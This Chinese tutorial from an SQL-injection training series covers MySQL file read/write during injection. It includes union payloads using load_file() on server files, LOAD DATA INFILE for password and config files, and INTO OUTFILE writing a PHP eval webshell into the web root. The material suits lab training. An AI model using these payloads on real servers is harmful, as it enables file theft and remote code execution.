MYSQL注入天书之导入导出介绍

Background-3 导入导出相关操作的讲解

  1. load_file()导出文件

    Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

    使用条件:

    A、必须有权限读取并且文件必须完全可读?

    ? ? ? ? ? and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。

    ? ? ? and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权

      B、欲读取文件必须在服务器上?

      C、必须指定文件完整的路径?

      D、欲读取文件必须小于 max_allowed_packet?

    如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想load_file出来。?

      在实际的注入中,我们有两个难点需要解决:?

      ?  绝对物理路径?

    构造有效的畸形语句?(报错爆出绝对路径)

      在很多PHP程序中,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。

    常用路径:

    http://www.cnblogs.com/lcamry/p/5729087.html

    ?

    示例:Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
    
    利用hex()将文件内容导出来,尤其是smb文件时可以使用。
    							

    ?

    -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))?
    
    Explain:"char(99,58,47,98,111,111,116,46,105,110,105)"就是"c:/boot.ini"的ASCII代码
    							

    ?

    -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)?
    
    Explain:"c:/boot.ini"的16进制是"0x633a2f626f6f742e696e69"
    

    ?

    -1 union select 1,1,1,load_file(c:\\boot.ini)?
    
    Explain:路径里的/用 \\代替
    							

    ?

  2. 文件导入到数据库
    								

    LOAD DATA INFILE语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。

    在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据库的权限时,可以将系统文件利用load data infile导入到数据库中。

    函数具体介绍:对于参数介绍这里就不过多的赘述了,可以参考mysql的文档。(提醒:参考文档才是最佳的学习资料)

    示例:load data infile ‘/tmp/t0.txt‘ ignore into table t0 character set gbk fields terminated by ‘\t‘ lines terminated by ‘\n‘

    将/tmp/t0.txt导入到t0表中,character set gbk是字符集设置为gbk,fields terminated by是每一项数据之间的分隔符,lines terminated by 是行的结尾符。

    当错误代码是2的时候的时候,文件不存在,错误代码为13的时候是没有权限,可以考虑/tmp等文件夹。

    TIPS:我们从mysql5.7的文档看到添加了load xml函数,是否依旧能够用来做注入还需要验证。

  3. 导入到文件

    SELECT.....INTO OUTFILE ‘file_name‘

    可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name不能是一个已经存在的文件。

    我们一般有两种利用形式:

    第一种直接将select内容导入到文件中:

    Select version() into outfile "c:\\phpnow\\htdocs\\test.php"

    此处将version()替换成一句话,<?php @eval($_post["mima"])?>也即

    Select ?<?php @eval($_post["mima"])?> ?into outfile "c:\\phpnow\\htdocs\\test.php"

    直接连接一句话就可以了,其实在select内容中不仅仅是可以上传一句话的,也可以上传很多的内容。

    ?
    ?

    第二种修改文件结尾:

    Select version() Into outfile "c:\\phpnow\\htdocs\\test.php"?LINES TERMINATED BY 0x16进制文件

    解释:通常是用‘\r\n‘结尾,此处我们修改为自己想要的任何文件。同时可以用FIELDS TERMINATED BY
    						

    16进制可以为一句话或者其他任何的代码,可自行构造。在sqlmap中os-shell采取的就是这样的方式,具体可参考os-shell分析文章:http://www.cnblogs.com/lcamry/p/5505110.html?

    ?

    ?

    TIPS:

    (1)可能在文件路径当中要注意转义,这个要看具体的环境

    ??(2)上述我们提到了load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语句:

    select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini‘)into outfile ‘c:\\wamp\\www\\test.php‘

    可以利用该语句将服务器当中的内容导入到web服务器下的目录,这样就可以得到数据了。上述my.ini当中存在password项(不过默认被注释),当然会有很多的内容可以被导出来,这个要平时积累。

时间: 2024-12-14 09:44:27

MYSQL注入天书之导入导出介绍的相关文章

MYSQL注入天书之HTTP头部介绍

Background-5 HTTP头部介绍 在利用抓包工具进行抓包的时候,我们能看到很多的项,下面详细讲解每一项. HTTP头部详解 1. Accept:告诉WEB服务器自己接受什么介质类型,*/* 表示任何类型,type/* 表示该类型下的所有子类型,type/sub-type. 2. Accept-Charset: 浏览器申明自己接收的字符集 Accept-Encoding: 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate) Acce

MYSQL注入天书之开天辟地

MYSQL注入天书 ---------Sqli-labs使用手册 ? MYSQL注入天书????1 写在前面的一些内容????1 SQLI和sqli-labs介绍????2 Sqli-labs下载????2 Sqli-labs安装????2 第一部分/page-1 Basic Challenges????3 Background-1 基础知识????3 Less-1????10 Less-2????14 Less-3????15 Less-4????16 Background-2 盲注的讲解??

MYSQL注入天书之基础知识

第一部分/page-1 Basic Challenges Background-1 基础知识 此处介绍一些mysql注入的一些基础知识. (1)注入的分类---仁者见仁,智者见智. 下面这个是阿德玛表哥的一段话,个人认为分类已经是够全面了.理解不了跳过,当你完全看完整个学习过程后再回头看这段.能完全理解下面的这些每个分类,对每个分类有属于你的认知和了解的时候,你就算是小有成就了,当然仅仅是sql注入上. 基于从服务器接收到的响应? ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL

MYSQL注入天书之数据库增删改介绍

Background-4 增删改函数介绍 在对数据进行处理上,我们经常用到的是增删查改.接下来我们讲解一下mysql 的增删改.查就是我们上述总用到的select,这里就介绍了. 增加一行数据.Insert 简单举例 insert into users values('16','lcamry','lcamry'); ? 删除 ? 2.删数据:?? delete?from?表名;?? delete?from?表名?where?id=1;?? ? 删除结构:?? 删数据库:drop?database

MYSQL注入天书之宽字节注入

Background-7 宽字节注入 Less-32,33,34,35,36,37六关全部是针对'和\的过滤,所以我们放在一起来进行讨论. 对宽字节注入的同学应该对这几关的bypass方式应该比较了解.我们在此介绍一下宽字节注入的原理和基本用法. 原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围).我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' (转换的函数或者思路会在每一关遇到的时候介绍)

MYSQL注入天书之盲注讲解

Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从background-1中,我们可以知道盲注分为三类 ?基于布尔SQL盲注 ?基于时间的SQL盲注 ?基于报错的SQL盲注 Ps:知识点太多了,这里只能简单列出来大致讲解一下.(ps:每当看到前辈的奇淫技巧的payload时,能想象到我内心的喜悦么?我真的想细细的写写这一块,但是不知道该怎么写或者小伙伴

MYSQL注入天书之stacked injection

第三部分/page-3 Stacked injection Background-8 stacked injection Stacked injections:堆叠注入.从名词的含义就可以看到应该是一堆sql语句(多条)一起执行.而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束.这样我们就想到了是不是可以多句一起使用.这个叫做stacked injection. 0x01 原理介绍 在SQL中,分号(;)是用来表示一条sql语句的结束.试想一

mysql中的数据导入导出

数据导入 1.mysqlimport命令行导入数据 在使用mysqlimport命令导入数据时,数据来源文件名要和目标表一致,不想改文件名的话,可以复制一份创建临时文件,示例如下. 建立一个文本users.txt,内容如下: 创建一个表users 使用mysqlimport将users.txt中数据导入users表 PS F:\> mysqlimport -u root -p123456 zz --default-character-set=gbk --fields-terminated-by=

MySQL 表数据的导入导出

数据导出 1.  使用 SELECT ...INTO OUTFILE ...命令来导出数据,具体语法如下. mysql> SELECT * FROM tablename INTO OUTFILE 'target_file' [option]; 其中 option 参数可以是以下选项: FIELDS TEMINATED BY 'string' (字符分断符) FIELDS [OPTIONALLY] ENCLOSED BY 'CHAR' (字段引用符,如果加OPTIONAL选项则只用在char.va